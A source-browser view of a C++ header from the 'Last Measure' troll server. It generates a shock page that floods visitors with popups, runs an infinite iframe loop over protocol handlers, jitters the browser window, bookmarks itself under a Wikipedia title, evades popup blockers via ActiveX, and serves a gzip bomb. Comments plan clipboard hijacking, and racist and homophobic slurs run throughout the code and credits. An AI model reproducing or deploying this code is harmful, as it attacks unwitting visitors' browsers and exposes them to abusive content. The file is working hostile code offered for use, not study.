source: trollforge/lastmeasure/server/lmresource.h @ 642

Revision 642, 25.1 KB checked in by sam, 16 months ago (diff)

Toying around with gzipped data. Sending 9 MiB, getting 1.5 GiB in the browser.

  • Property svn:keywords set to Id
Line 
1/* XXX:
2 * `if_ie6 == true', should we use `showModelessDialog()'?
3 * `showModelessDialog()' was used in LastMeasure 3.4 to avoid Internet
4 *  Explorer's pop-up blockers. goat-see's comment remains, yet
5 *  `showModelessDialog()' is not used anywhere in the code.
6 */
7#include <string>
8#include <sstream>
9#include <fstream>
10#include <iostream>
11#include <streambuf>
12
13//#include "lmutil.h"
14
15#ifdef SOFT
16#   define IMAGES_PREFIX "/soft/"
17#else
18#   define IMAGES_PREFIX "/images/"
19#endif
20
21static char const *staticnames[] =
22{
23    /* Shock pictures */
24    "/images/awesome.jpg",    "/images/Pain4.jpg",
25    "/images/balloonboy.jpg", "/images/Pain5.jpg",
26    "/images/christmas.jpg",  "/images/Pain.jpg",
27    "/images/freak.jpg",      "/images/penisbird.gif",
28    "/images/harlequin1.jpg", "/images/pillowfight.jpg",
29    "/images/harlequin2.jpg", "/images/pooped.jpg",
30    "/images/harlequin3.jpg", "/images/rustina.jpg",
31    "/images/harlequin4.jpg", "/images/smile.jpg",
32    "/images/harlequin.jpg",  "/images/spin.gif",
33    "/images/hello.jpg",      "/images/stopracism.jpg",
34    "/images/hotblowjob.jpg", "/images/stretch.jpg",
35    "/images/kiss.jpg",       "/images/tubgirl.jpg",
36    "/images/lemonparty.jpg", "/images/Untitled.jpg",
37    "/images/loopback.jpg",   "/images/weightlifter.jpg",
38    "/images/Pain2.jpg",      "/images/zoidberg.jpg",
39    "/images/Pain3.jpg",      "/images/jar.jpg",
40    "/images/lunch.jpg",
41
42    /* Soft images */
43    "/soft/christmas.jpg",    "/soft/pillowfight.jpg",
44    "/soft/eww.jpg",          "/soft/pooped.jpg",
45    "/soft/freak.jpg",        "/soft/rustina.jpg",
46    "/soft/hello.jpg",        "/soft/spin.gif",
47    "/soft/lemonparty.jpg",   "/soft/tubgirl.jpg",
48    "/soft/loopback.jpg",     "/soft/weightlifter.jpg",
49    "/soft/ouch.jpg",
50
51    /* Static sound samples */
52    "/audio/abez2.wav",    "/audio/abez.wav",
53    "/audio/blackman.wav", "/audio/eska.wav",
54    "/audio/fury.wav",     "/audio/jesuitx1.wav",
55    "/audio/jesuitx2.wav", "/audio/jizzy.wav",
56    "/audio/kirk.wav",     "/audio/lolichan.wav",
57    "/audio/original.wav", "/audio/popeye.wav",
58    "/audio/rkz.wav",      "/audio/rucas.wav",
59    "/audio/sam.wav",      "/audio/trogg.wav",
60
61    /* <iframe> */
62    "/lm.pdf",
63    "/lm2.pdf",
64    "/jews.wmv",
65    "/gnaa.mp3",
66
67    /* Other static files */
68    "/flash/first_opener.swf",
69    "/flash/second_opener.swf",
70    "/flash/hello.swf",
71    "/flash/hey.swf",
72
73    "/LastCoffee.class",
74    "/gnaa.png",
75
76    "/favicon.ico",
77    "/robots.txt",
78
79    //"/index.php",
80};
81
82typedef std::pair<std::string,std::string> Response;
83
84class Resources
85{
86public:
87    static void LoadAll()
88    {
89        for (size_t i = 0; i < NSTATICS; i++)
90        {
91            /* Skip leading / when opening local files */
92            std::ifstream t(staticnames[i] + 1);
93            m_statics[i] = std::string((std::istreambuf_iterator<char>(t)),
94                                       std::istreambuf_iterator<char>());
95        }
96    }
97
98    static Response Get(char const *resource, char const *query,
99                        char const *host, char const *agent, int *flags)
100    {
101        /* Special case for server status (TODO) */
102        if (!strcmp(resource, "/server-status")
103             || !strcmp(resource, "/server-status/"))
104        {
105            return Response("SERVER STATUS UNAVAILABLE FOR NOW", "text/html");
106        }
107
108        /* Special case for static resources */
109        for (size_t i = 0; i < NSTATICS; i++)
110        {
111            if (!strcmp(resource, staticnames[i]))
112            {
113                return Response(m_statics[i], MimeType(resource));
114            }
115        }
116
117        /* Special case for gzipped data -- just a test for now */
118        if (!strcmp(resource, "/gnaa.txt"))
119        {
120            *flags |= 1;
121            return Response(std::string(
122                "\x1f\x8b\x08\x00\x7d\xb7\x18\x4f\x02\x03\xec\xd1"
123                "\x41\x0a\x80\x20\x10\x05\xd0\x7d\xe0\x1d\xbc\x8a"
124                "\xab\x56\xb5\xea\xfe\x67\x89\x10\x29\x4d\xc3\x4d"
125                "\xbb\x97\x04\x4e\xcc\x9f\xb2\x17\x96\x18\xd7\x3d"
126                "\xa5\xeb\x8e\xb1\xde\xe7\xab\x5f\x1d\x5b\x58\x4a"
127                "\x6f\x7e\x56\x57\xed\xa4\x52\xe5\x54\x3d\xaf\x9e"
128                "\x71\xbf\xe5\x59\xf5\x72\xfd\xce\x51\x6e\xd4\xd9"
129                "\x3f\xc1\x7f\xb9\xaf\xef\x9c\xf9\x13\x6d\xee\xed"
130                "\x37\x97\x2b\x8b"
131                "\x3f\x7f\xfe\xfc\xf9\xf3\xe7\xcf\x9f", 109), "text/plain");
132        }
133
134        /* Is this a pop-up? */
135        bool is_popup = (strstr(query, "popup=1") > 0);
136
137        char const *flash;
138
139        /* Is the browser IE 6 or better? */
140        char const *parser = strstr(agent, " MSIE ");
141        bool is_ie6 = parser && (atoi(parser + strlen(" MSIE ")) >= 6);
142
143        /* Sending stuff */
144        std::stringstream data("");
145
146        data <<
147
148    "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\""
149    "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n"
150    "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">\r\n"
151
152    "  <head>\r\n"
153    "    <title>" << Random::Title() << "</title>\r\n"
154    "    <meta name=\"keywords\" content=\"" << Random::Keywords(128) << "\" />\r\n"
155    "    <meta name=\"description\" content=\"" << Random::Keywords(20) << "\" />\r\n"
156    "    <script type=\"text/javascript\">\r\n" << JavaScript(host) <<
157    "    </script>\r\n"
158    "    <link rel=\"icon\" type=\"image/x-icon\" "
159             "href=\"//" << host << "/favicon.ico\" />\r\n"
160    "    <link rel=\"shortcut icon\" type=\"image/x-icon\" "
161             "href=\"//" << host << "/favicon.ico\" />\r\n"
162    "    <style type=\"text/css\">\r\n"
163    "      html { height: 100%; width: 100%; overflow: hidden; }\r\n"
164    "      body { height: 100%; width: 100%; margin: 0; padding: 0; }\r\n"
165    "    </style>\r\n"
166    "  </head>\r\n"
167
168    "  <body style=\"background-image: url(//" << host
169          << RandomAsset(IMAGES_PREFIX) << "); background-color: #FFFFFF;\""
170    "\r\n        onload=\"bookmark(); noframes(); load_goatse(); document.getElementById('goatse').innerHTML = ''; movew0w(); ";
171        if (is_ie6)
172            data << "setTimeout('main()', 100); ";
173        if (!is_popup)
174            data << "print(); ";
175        data <<
176    "setTimeout('ruin()', 20);\"\r\n"
177    "        onmousemove=\"document.getElementById('goatse').innerHTML = ''; movew0w(); procreate();\"\r\n"
178    "        onkeydown=\"molish(); procreate();\"\r\n"
179    "        onunload=\"document.getElementById('goatse').innerHTML = ''; movew0w(); procreate();\"\r\n"
180    "        onmouseover=\"document.getElementById('goatse').innerHTML = ''; movew0w(); procreate();\">\r\n";
181
182        data << MoveAround(800, 600, host);
183        data << ActivateApplets();
184        if (is_ie6) /* XXX: Do these things even work in the newer versions of IE? -- Leon */
185        {
186            data << PopupBypasser(host);
187            data << DivertOnload();
188        }
189
190        data <<
191
192    "<table>\r\n"
193    "    <tr>\r\n"
194    "        <td valign=\"middle\">\r\n"
195    "            <div style=\"text-align: center;\">\r\n"
196    "                <a href=\"http://www.gnaa.eu/\"><img src=\"//" << host << "/gnaa.png\" alt=\"GNAA\" /></a>\r\n"
197    "                <br />\r\n"
198    "                <br />\r\n";
199
200        if (!is_ie6)
201        {
202            flash = is_popup ? "second_opener.swf" : "first_opener.swf";
203            data <<
204
205        "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" "
206        "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\">\r\n"
207        "    <param name=\"movie\" value=\"//" << host << "/flash/" << flash << "\" />\r\n"
208        "    <param name=\"quality\" value=\"high\" />\r\n"
209        "</object>\r\n";
210        }
211
212        data <<
213    "            </div>\r\n"
214    "        </td>\r\n"
215    "    </tr>\r\n"
216    "</table>\r\n";
217
218        if (!is_popup)
219        {
220            data <<
221// This object plays the "hey everybody, I'm looking at gay porno!" sound
222            "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" "
223            "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"1\" height=\"1\" id=\"hey\">\r\n"
224            "    <param name=\"movie\" value=\"//" << host << "/flash/hey.swf\" />\r\n"
225            "    <param name=\"quality\" value=\"high\" />\r\n"
226            "</object>\r\n"
227            "<script type=\"text/javascript\">\r\n"
228            "<!--\r\n"
229            "var audio = new Array();\r\n";
230
231            for (int i = FindAssetIndex("/audio/", -1), n = 0;
232                 i < (int)NSTATICS;
233                 i = FindAssetIndex("/audio/", i))
234            {
235                data << "    audio[" << n << "] = '//"
236                     << host << "" << staticnames[i] << "';\r\n";
237            }
238
239            data <<
240            "for (i = 0; i < audio.length; i++) {\r\n"
241            "    setTimeout('document.getElementById(\"audio\").innerHTML += \\'<embed src=\"' + audio[i] + '\" loop=\"true\" />\\';', 6000 * (i/2));\r\n"
242            "}\r\n"
243            "// -->\r\n"
244            "</script>\r\n"
245            "<div id=\"audio\">\r\n"
246            "</div>\r\n"
247            "<applet code=\"LastCoffee.class\" width=\"100\" height=\"100\" codebase=\"/\" />\r\n"
248            "</div>\r\n"
249            "<div>\r\n"
250            "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/lm.pdf\"></iframe>\r\n"
251            "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/lm2.pdf\"></iframe>\r\n"
252            "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/jews.wmv\"></iframe>\r\n"
253            "<iframe style=\"width: 1px; height: 1px;\" src=\"//" << host << "/gnaa.mp3\"></iframe>\r\n"
254            "<div id=\"goatse\">yes hello</div>\r\n"
255            "<br />\r\n" << Random::Keywords(128) << "</div>\r\n";
256        }
257
258        data << "  </body>\r\n";
259
260        return Response(data.str(), "text/html");
261    }
262
263    static std::string JavaScript(char const *host)
264    {
265        std::stringstream ret("");
266
267        ret <<
268/*
269 * Let's figure out what the fuck kind of browser the poor plebes are using. :(
270 *  MSIE gets a special kind of Last Measure where I start off with a
271 *  `ModelessDialog' and pop up from it.
272 *  Gets around Google Toolbar.
273 *              -- goat-see
274 */
275 "var nom = navigator.appName.toLowerCase();\r\n"
276 "var agt = navigator.userAgent.toLowerCase();\r\n"
277 "var is_major  = parseInt(navigator.appVersion);\r\n"
278 "var is_minor  = parseFloat(navigator.appVersion);\r\n"
279 "var is_ie     = (agt.indexOf('msie') != -1);\r\n"
280 "var is_ie4up  = (is_ie && (is_major >= 4));\r\n"
281 "var is_nav    = (nom.indexOf('netscape')!=-1);\r\n"
282 "var is_nav4   = (is_nav && (is_major == 4));\r\n"
283 "var is_mac    = (agt.indexOf('mac')!=-1);\r\n"
284 "var is_gecko  = (agt.indexOf('gecko') != -1);\r\n"
285
286 //  GECKO REVISION
287 "var is_rev = 0;\r\n"
288
289 "if (is_gecko) {\r\n"
290 "    temp = agt.split('rv:');\r\n"
291 "    is_rev = parseFloat(temp[1]);\r\n"
292 "}\r\n"
293
294 "function bookmark() {\r\n"
295 "    if (is_ie4up) {\r\n"
296 "        window.external.AddFavorite(self.location.href, 'Wikipedia, the free encyclopedia');\r\n"
297 "    }\r\n"
298 "}\r\n"
299
300 "function molish() {\r\n"
301 "    var credits = "
302          "\"LAST MEASURE UNIFIED X-2, by LiteralKa and sam.\\n"
303          "Starring:\\n"
304          "Balloon Boy, Huge_Midget's 'Pain Series', Kevin Klerck (spin.gif), Kirk Johnson,\\n"
305          "Lemonparty, Loopback, Penisbird, Pillowfight, Rusty's Wife, The Harlequin Fetus,\\n"
306          "The Shitfaced Lady, Tubgirl, and much, much more!\\n"
307          "\\n\\n"
308          "Multiple 'HEY EVERYBODY...' clips by abez, blackman, eska, fury, JesuitX, JiZZy,\\n"
309          "kirk, lolichan, 'original', popeye, rkz, Rucas, sam, and trogg.\\n"
310          "\\n\\n"
311          "Pop-up blocker evasion technology by Armorfist, goat-see, and LiteralKa.\\n"
312          "hey.swf by rkz.\\n"
313          "IFRAMEd protocol ruin by incog and LiteralKa.\\n"
314          "LastCoffee by abez and Dessimat0r.\\n"
315          "lmserver by sam and LiteralKa.\\n"
316          "PDF Ruin by JacksonBrown and Jmax.\\n"
317          "Stats Measure by Jmax and timecop.\\n"
318          "\\n\\n"
319          "Updated by abortion, JacksonBrown, Rolloffle, timecop, weev, and others.\\n"
320          "Previous versions were lead by goat-see (pi), Jmax, Penisbird, Rucas, sam, and Zeikfried.\\n"
321          "Proudly brought to you by the Gay Nigger Association of America.\\n\";\r\n"
322
323 "    switch (event.keyCode) {\r\n"
324 "        case 17:\r\n"    // CTRL [Or the Apple "CMD", only detected by Opera]
325                           // NOTE: Opera Mac gives keyCode '0'
326 "        case 18:\r\n"    // ALT
327 "        case 46:\r\n"    // DEL
328 "        case 81:\r\n"    // W (As in "CTRL+W")
329 "        case 87:\r\n"    // Q (As in "CTRL+Q")
330 "        case 115:\r\n"   // F4
331 "        case 63272:\r\n" // DEL on the fucked-up Safari browser
332 "            alert(credits);\r\n"
333 "            break;\r\n"
334 "        default:\r\n" // Don't see why not everyone could get a warning
335 "            alert(\"Our lawyer has informed us that we need a warning. So, "
336                     "if you are under the age of 18 or find this offensive, "
337                     "please leave immediately.\");\r\n"
338 "            break;\r\n"
339 "    }\r\n"
340 "}\r\n"
341/* XXX Does click() even work? */
342 "function click() {\r\n"
343 "    if(event.which == 3 || event.button == 2) {\r\n"
344 "        return false;\r\n"
345 "    }\r\n"
346 "}\r\n"
347
348 "function procreate() {\r\n"
349 "    for(i = 0; i < 16; i++) {\r\n"
350 "        popUp(\"index.php?popup=1\");\r\n"
351 "    }\r\n"
352 "}\r\n"
353
354 "function popUp(URL) {\r\n"
355 "    day = new Date();\r\n"
356 "    id = day.getTime();\r\n"
357 "    eval(\"page\" + id + \" = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');\");\r\n"
358 "}\r\n"
359
360 "goatseflash  = \"<div id='hello' style='z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;'>\";\r\n"
361 "goatseflash += \"  <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0' width='100%' height='100%'>\";\r\n"
362 "goatseflash += \"    <param name='movie' value='//" << host << "/flash/hello.swf' />\";\r\n"
363 "goatseflash += \"    <param name='wmode' value='transparent' />\";\r\n"
364 "goatseflash += \"  </object>\";\r\n"
365 "goatseflash += \"</div>\";\r\n"
366
367 "function load_goatse() {\r\n"
368 "    document.body.innerHTML += goatseflash;\r\n"
369 "    setTimeout(\"unload_goatse()\", 3000);\r\n" // 3s
370 "}\r\n"
371
372 "function unload_goatse() {\r\n"
373 "    document.getElementById(\"hello\").style.display = 'none';\r\n"
374 "}\r\n"
375
376 "function noframes() {\r\n"
377 "    if (top.location.hostname != location.hostname)\r\n"
378 "        top.location.href = window.location.href;\r\n"
379 "}\r\n"
380
381 "var protos = [\r\n"
382 "        \"irc://irc.gnaa.eu/gnaa\",\r\n"
383 "        \"irc://irc.freenode.net/freenode?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n"
384 //"        \"irc://irc.freenode.net/wikipedia-en?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n"
385 "        \"news:alt.flame.niggers\",\r\n"
386 "        \"news:alt.flame.faggots\",\r\n"
387 "        \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n"
388 "        \"callto://JOIN_THE_GNAA__2012_RECRUITMENT_DRIVE\",\r\n"
389 "        \"rlogin://1.1.1.1:80\",\r\n"
390 "        \"telnet://1.1.1.1:80\",\r\n"
391 "        \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n"
392 "        \"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/\",\r\n"
393 "        \"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,GNAA,2012,RECRUITMENT,DRIVE,heartiez2incog,cpurape vo.1 - lncog&groupname=GNAA\",\r\n"
394 "        \"aim:goaway?message=ARE+YOU+GAY%3F+ARE+YOU+A+NIGGER%3F+ARE+YOU+A+GAY+NIGGER%3F\",\r\n"
395 "        \"aim:goim?screenname=bluexox5&message=dont+fuck+with+the+GNAA\",\r\n"
396 "        \"magnet:?xt=urn:btih:4424ecbc11bf0238e36cf2412b248e0c2339c663&dn=Gayniggers.From.Outer.Space.Digitally.Remastered.XviD-NoGrp"
397 "&tr=udp://tracker.openbittorrent.com:80&tr=udp://tracker.publicbt.com:80&tr=udp://tracker.ccc.de:80\",\r\n"
398 "        ];\r\n"
399
400 "function add(str) {\r\n"
401 "    div = document.getElementById('goatse');\r\n"
402 "    div.innerHTML = '<iframe style=\"width: 1; height: 1;\" src=\"' + str + '\"></iframe>';\r\n"
403 "}\r\n"
404
405 "function ruin() {\r\n"
406// "    document.body.innerHTML += '<div id=\"goatse\">yes hello</div>';\r\n"
407 "    while (1) {\r\n"
408 "        for (i = 0; i < protos.length; i++) {\r\n"
409 "            add(protos[i]);\r\n"
410 "        }\r\n"
411 "    }\r\n"
412 "}\r\n";
413
414        return ret.str();
415    }
416
417    static char const *MimeType(char const *resource)
418    {
419        static char const *assoc[] =
420        {
421            ".png", "image/png",
422            ".jpg", "image/jpeg",
423            ".jpeg", "image/jpeg",
424            ".gif", "image/gif",
425            ".wav", "audio/x-wav",
426            ".mp3", "audio/mpeg",
427            ".swf", "application/x-shockwave-flash",
428            ".pdf", "application/pdf",
429            ".wmv", "video/x-ms-wmv",
430            ".class", "application/java-vm",
431            ".ico", "image/x-icon",
432            ".txt", "text/plain",
433            ".bmp", "image/bmp",
434        };
435
436        for (size_t i = 0; i < sizeof(assoc) / sizeof(*assoc); i += 2)
437        {
438            char const *suffix = assoc[i], *test;
439            if ((test = strstr(resource, suffix)) && !test[strlen(suffix)])
440                return assoc[i + 1];
441        }
442
443        return "text/plain";
444    }
445
446    /* Pick a random asset starting with @prefix. For instance if @prefix
447     * is "/images/" we pick one at random and if it starts with "/images/"
448     * we return it. Otherwise, pick another one. Repeat 32 times. */
449    static std::string RandomAsset(char const *prefix)
450    {
451        size_t prefixlen = strlen(prefix);
452
453        for (int i = 0; i < 32; i++)
454        {
455            char const *name = staticnames[rand() % NSTATICS];
456            if (!strncmp(name, prefix, prefixlen))
457                return name;
458        }
459
460        return "/";
461    }
462
463    /* Find the asset index after @previous that matches @prefix. This can
464     * be used as an iterator. To get the first matching asset, use -1 as
465     * an argument. */
466    static int FindAssetIndex(char const *prefix, int previous)
467    {
468        if (previous < -1 || previous > (int)NSTATICS)
469            return NSTATICS;
470
471        size_t prefixlen = strlen(prefix);
472
473        while (++previous < (int)NSTATICS)
474        {
475            char const *name = staticnames[previous];
476            if (!strncmp(name, prefix, prefixlen))
477                break;
478        }
479
480        return previous;
481    }
482
483    static std::string MoveAround(size_t width, size_t height, char const *host)
484    {
485        std::stringstream ret("");
486
487        ret <<
488        "<script type=\"text/javascript\">\r\n"
489        "<!--\r\n"
490        "    var images = new Array();\r\n";
491
492        for (int i = FindAssetIndex(IMAGES_PREFIX, -1), n = 0;
493             i < (int)NSTATICS;
494             i = FindAssetIndex(IMAGES_PREFIX, i))
495        {
496            ret << "    images[" << n << "] = '//" << host << "" << staticnames[i] << "';\r\n";
497        }
498
499        ret <<
500        "var delay = 10;\r\n"
501        "var step = .2;\r\n"
502        "var curstep = 0;\r\n"
503
504        "window.resizeTo(" << width << ", " << height << ");\r\n"
505        "var centerX = (self.screen.width - document.body.clientWidth) / 2;\r\n"
506        "var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;\r\n"
507        "movew0w();\r\n"
508
509        "function movew0w() {\r\n"
510        "    var j;\r\n"
511        "    for (j = 0; j < 5; j++) {\r\n"
512        "        curstep += step / 5;\r\n"
513        "        var factorX = Math.sin(curstep * 6.1) * 0.9;\r\n"
514        "        var factorY = Math.cos(curstep * 3.7) * 0.9;\r\n"
515       
516        "        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)\r\n"
517        "                    * (Math.sin(10+curstep/(10+j))+0.2)\r\n"
518        "                    * Math.cos((curstep + j*25)/10);\r\n"
519        "        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)\r\n"
520        "                       * (Math.sin(10+curstep/10)+0.2)\r\n"
521        "                       * Math.cos((curstep + j*25)/10);\r\n"
522        "        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));\r\n"
523        "    }\r\n"
524
525        "    document.body.background = images[(Math.floor(curstep) % images.length) + 1];\r\n"
526        "    setTimeout(\"movew0w()\", delay);\r\n"
527        "}\r\n"
528        "// -->\r\n"
529        "</script>\r\n";
530
531        return ret.str();
532    }
533
534    static std::string ActivateApplets()
535    {
536        std::stringstream ret("");
537
538        ret <<
539
540        "<div>\r\n"
541        "    <object id=\"x\" classid=\"clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A\" height=\"1\" width=\"1\">\r\n"
542        "        <param name=\"ActivateApplets\" value=\"1\" />\r\n"
543        "        <param name=\"ActivateActiveXControls\" value=\"1\" />\r\n"
544        "    </object>\r\n"
545        "</div>\r\n";
546
547        return ret.str();
548    }
549
550/*  This chunk bypasses pop-ups */
551    static std::string PopupBypasser(char const *host)
552    {
553        std::stringstream ret("");
554
555        ret <<
556
557        "<script type=\"text/javascript\">\r\n"
558        "<!--\r\n"
559        "    function shellscript() {\r\n"
560        "        for(i = 0; i < 5; i++) {\r\n"
561        "            open('//" << host << "/index.php?popup=1','_blank','scrollbar=no');\r\n"
562        "        }\r\n"
563        "    }\r\n"
564
565        "    function main() {\r\n"
566        "        x.DOM.Script.execScript(shellscript.toString());\r\n"
567        "        x.DOM.Script.setTimeout(\"shellscript()\");\r\n"
568        "        setTimeout(\"main()\", 200);\r\n"
569        "    }\r\n"
570        "// -->\r\n"
571        "</script>\r\n";
572
573        return ret.str();
574    }
575
576    static std::string DivertOnload()
577    {
578        std::stringstream ret("");
579
580        ret <<
581
582        "<script type=\"text/javascript\">\r\n"
583        "<!--\r\n"
584        "    var SymRealOnLoad;\r\n"
585        "    var SymRealOnUnload;\r\n"
586        "    var SymRealWinOpen;\r\n"
587
588        "    function SymOnUnload() {\r\n"
589        "        window.open = SymWinOpen;\r\n"
590        "        if(SymRealOnUnload != null)\r\n"
591        "            SymRealOnUnload();\r\n"
592        "    }\r\n"
593
594        "    function SymOnLoad() {\r\n"
595        "        if(SymRealOnLoad != null)\r\n"
596        "            SymRealOnLoad();\r\n"
597        "        window.open = SymRealWinOpen;\r\n"
598        "        SymRealOnUnload = window.onUnload;\r\n"
599        "        window.onUnload = SymOnUnload;\r\n"
600        "    }\r\n"
601
602        "    SymRealOnLoad = window.onLoad;\r\n"
603        "    window.onLoad = SymOnLoad;\r\n"
604        "// -->\r\n"
605        "</script>\r\n";
606
607        return ret.str();
608    }
609
610    static std::string PopUnder(char const *host)
611    {
612        std::stringstream ret("");
613
614        ret <<
615
616        "var rapeVictim = false;\r\n"
617
618        "function popunder(url) {\r\n"
619        "    if (rapeVictim === true) {\r\n"
620        "        return true;\r\n"
621        "    }\r\n"
622
623        "    var daWindow = window.open(url, \"ljPu\", \"toolbar,status,resizable,scrollbars,menubar,location,height=780,width=1024\");\r\n"
624        "    window.setTimeout(window.focus, 500);\r\n"
625
626        "    if (daWindow) {\r\n"
627        "        daWindow.blur();\r\n"
628        "        rapeVictim = true;\r\n"
629        "    }\r\n"
630
631        "    return daWindow;\r\n"
632        "}\r\n"
633
634        "function doPopUnder() {\r\n"
635        "    var win = popunder('//" << host << "/');\r\n"
636        "    return true;\r\n"
637        "}\r\n";
638
639        return ret.str();
640    }
641
642/* XXX: Does not work yet.
643 * 06:45:51 <incog> http://stackoverflow.com/questions/1203082/injecting-text-when-content-is-copied-from-web-page
644 * 06:46:19 <incog> stealing the js from this will allo LM to inject whatever it wants into the victims clipboards
645 * 06:47:09 <incog> from ascii art goatse, to more LM urls
646 * 06:47:31 <incog> to a js that generates a random string so big it eats all the ram
647 */
648    static std::string Tynt()
649    {
650        static char const *prefix = "prefix";
651        static char const *suffix = "suffix";
652
653        std::stringstream ret("");
654
655        ret <<
656
657        "<script type=\"text/javascript\">\r\n"
658        "    if(document.location.protocol=='http:'){\r\n"
659        "        var Tynt=Tynt||[];Tynt.push('buPVQ-pnyr4zddacwqm_6l');Tynt.i={\"ap\":\"" << prefix << "\",\"as\":\"" << suffix << "\",\"c\":false,\"t\":true};\r\n"
660        "        (function(){\r\n"
661        "            var s=document.createElement('script');s.async=\"async\";s.type=\"text/javascript\";s.src='http://tcr.tynt.com/ti.js';\r\n"
662        "            var h=document.getElementsByTagName('script')[0];h.parentNode.insertBefore(s,h);})();\r\n"
663        "    }\r\n"
664        "</script>\r\n";
665
666/*
667        "<script type=\"text/javascript\">\r\n"
668        "    tyntVariables = {\"ap\":\"" << prefix << "\",\"as\":\"" << suffix << "\"};\r\n"
669        "</script>\r\n"
670
671        "<script type=\"text/javascript\" src=\"http://tcr.tynt.com/javascripts/Tracer.js?user=aDjyve6yar3BZFab7jrHcU&amp;s=1&amp;st=1&amp;lang=en\"></script>\r\n";
672*/
673
674        return ret.str();
675    }
676
677private:
678    static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames);
679    static std::string m_statics[NSTATICS];
680};
681
682std::string Resources::m_statics[NSTATICS];
683
Note: See TracBrowser for help on using the repository browser.